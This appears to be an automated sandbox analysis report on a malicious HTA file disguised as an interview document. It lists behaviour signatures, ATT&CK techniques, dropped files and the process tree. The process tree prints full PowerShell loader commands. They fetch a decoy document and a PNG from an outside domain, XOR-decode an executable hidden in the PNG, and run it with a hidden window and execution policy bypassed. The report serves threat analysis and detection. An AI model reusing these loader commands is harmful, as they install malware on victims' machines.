Analysis
- max time kernel
149s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
31/10/2026, 21:34
General
- Target interview_jibril_rajoub.hta
- Size 1KB
- Sample261031-1evpwsae49
- SHA256 d7006d308ee13d9b4324a2fbd91549ef9604c3313486ce991f7eb3ceedb55140
Malware Config
Extracted
-
ps1
-
exe.dropper
https://realestateconnecticut.info/api/update.png
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Powershell Invoke Web Request.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 20 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\interview_jibril_rajoub.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Invoke-WebRequest -Uri 'https://realestateconnecticut.info/api/interview_jibril_rajoub.docx' -OutFile 'C:\Users\Admin\AppData\Local\Temp\interview_jibril_rajoub.docx'; Unblock-File -Path 'C:\Users\Admin\AppData\Local\Temp\interview_jibril_rajoub.docx'; Start-Process 'C:\Users\Admin\AppData\Local\Temp\interview_jibril_rajoub.docx'"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\interview_jibril_rajoub.docx" /o ""3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -command "$url='https://realestateconnecticut.info/api/update.png'; $temp=Join-Path $env:TEMP 'update.png'; Invoke-WebRequest -Uri $url -OutFile $temp; $data=[IO.File]::ReadAllBytes($temp); $key=$data[218]; $file = Join-Path $env:LOCALAPPDATA 'UpdateWindowsDownloader.exe'; $i=[Text.Encoding]::ASCII.GetString($data).LastIndexOf('IDAT')+4; $xdata = ($data[$i..$data.Length] | ForEach-Object { $_ -bxor $key }); [IO.File]::WriteAllBytes($file, $xdata); cmd /c $file"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\UpdateWindowsDownloader.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\UpdateWindowsDownloader.exeC:\Users\Admin\AppData\Local\UpdateWindowsDownloader.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\UpdateWindowsDownloader.exeC:\Users\Admin\AppData\Local\UpdateWindowsDownloader.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
iso690.xsl
__PSScriptPolicyTest_tztoqxed.twb.ps1
cab11BA.tmp
cab11BB.tmp
cab11BC.tmp
cab11CD.tmp
cab11DF.tmp
cab11E1.tmp
cab11E2.tmp
cab11E3.tmp
cab11E4.tmp
cab11E5.tmp
cab11E6.tmp
cab11E7.tmp
cab11E8.tmp
cab11E9.tmp
cab11EA.tmp
cab11EB.tmp
cab11EC.tmp
cab11ED.tmp
cab11EE.tmp
cab11EF.tmp
cab122D.tmp
cab1250.tmp
cab1251.tmp
cab1252.tmp
cab1273.tmp
cab1274.tmp
cab1275.tmp
cab1276.tmp
cab1296.tmp
cab1297.tmp
cab12A8.tmp
cab12A9.tmp
cab1327.tmp
cab13B4.tmp
cab13B5.tmp
cab14A4.tmp
cab1531.tmp
cab1542.tmp
cab1543.tmp
cab167D.tmp
cab16DD.tmp
cab172D.tmp
cab172F.tmp
cab1888.tmp
cab19A4.tmp
cab1A61.tmp
cab1B1F.tmp
cab1D72.tmp
cab2072.tmp
cab215E.tmp
cab219F.tmp
cab23E3.tmp
interview_jibril_rajoub.docx
UpdateWindowsDownloader.exe
CUSTOM.DIC
memory/1064-567-0x00007FFAA8810000-0x00007FFAA8820000-memory.dmp
memory/1064-41-0x00007FFAA8810000-0x00007FFAA8820000-memory.dmp
memory/1064-44-0x00007FFAA6550000-0x00007FFAA6560000-memory.dmp
memory/1064-45-0x00007FFAA6550000-0x00007FFAA6560000-memory.dmp
memory/1064-40-0x00007FFAA8810000-0x00007FFAA8820000-memory.dmp
memory/1064-569-0x00007FFAA8810000-0x00007FFAA8820000-memory.dmp
memory/1064-42-0x00007FFAA8810000-0x00007FFAA8820000-memory.dmp
memory/1064-43-0x00007FFAA8810000-0x00007FFAA8820000-memory.dmp
memory/1064-568-0x00007FFAA8810000-0x00007FFAA8820000-memory.dmp
memory/1064-39-0x00007FFAA8810000-0x00007FFAA8820000-memory.dmp
memory/1064-566-0x00007FFAA8810000-0x00007FFAA8820000-memory.dmp
memory/1800-9-0x0000000006190000-0x00000000064E4000-memory.dmp
memory/1800-26-0x00000000078A0000-0x0000000007936000-memory.dmp
memory/1800-30-0x0000000007EF0000-0x0000000008494000-memory.dmp
memory/1800-5-0x0000000005A40000-0x0000000006068000-memory.dmp
memory/1800-3-0x00000000032A0000-0x00000000032B0000-memory.dmp
memory/1800-28-0x0000000006D60000-0x0000000006D82000-memory.dmp
memory/1800-27-0x0000000006D20000-0x0000000006D3A000-memory.dmp
memory/1800-64-0x00000000032A0000-0x00000000032B0000-memory.dmp
memory/1800-1-0x00000000032A0000-0x00000000032B0000-memory.dmp
memory/3496-29-0x0000000007C20000-0x000000000829A000-memory.dmp
memory/3496-24-0x00000000063A0000-0x00000000063BE000-memory.dmp
memory/3496-25-0x00000000063D0000-0x000000000641C000-memory.dmp
memory/3496-7-0x0000000005C90000-0x0000000005CF6000-memory.dmp
memory/3496-0-0x0000000004F30000-0x0000000004F40000-memory.dmp
memory/3496-2-0x0000000002D60000-0x0000000002D96000-memory.dmp
memory/3496-8-0x0000000005D00000-0x0000000005D66000-memory.dmp
memory/3496-4-0x0000000004F30000-0x0000000004F40000-memory.dmp
memory/3496-6-0x00000000054A0000-0x00000000054C2000-memory.dmp